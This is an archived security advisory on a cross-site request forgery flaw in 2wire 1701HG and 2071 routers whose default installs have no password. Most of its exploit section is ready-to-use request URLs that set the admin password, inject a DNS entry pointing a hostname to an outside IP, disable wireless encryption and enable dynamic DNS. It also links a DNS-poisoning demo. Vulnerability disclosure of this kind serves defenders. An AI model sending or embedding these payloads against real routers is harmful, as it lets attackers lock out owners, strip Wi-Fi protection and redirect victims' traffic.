Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Network Appliances :: tb12107.htm

2wire routers cross ite request forgery



Cross Site Request Forgery in 2wire routers
Cross Site Request Forgery in 2wire routers



Cross Site Request Forgery in 2wire routers

Vulnerable Routers: 1701HG, 2071 Gateway
Software: v3.17.5, 5.29.51 Password Not Set (default)


Greetz a la Comunidad Underground de M=E9xico, y a los
que me ayudaron a probarlo: Preth00nker, nitr0us, ...
hkm@hakim.ws 


I. Background
-------------
This is the most popular router in Mexico and the default installation from the ISP has no system password.

II. Vuln
----------------
It is possible to send a request to the router that will modify its configuration.

It does not validate POST, or Referer or Anything...

II. Exploit
----------------
We just need the client to do a request to the router with the configuration we desire.

[examples]

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE 5_POST&THISPAGE 5&NEXTPAGE 5_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

Add names to the DNS (216.163.137.3 www.prueba.hkm): 
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.prueba.hkm&ADDR=216.163.137.3 

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0 

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE 

Disable the Firewall
Reset the device
Etc...

DNS Poisoning demo: http://www.hakim.ws/2wire/demodns.html 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH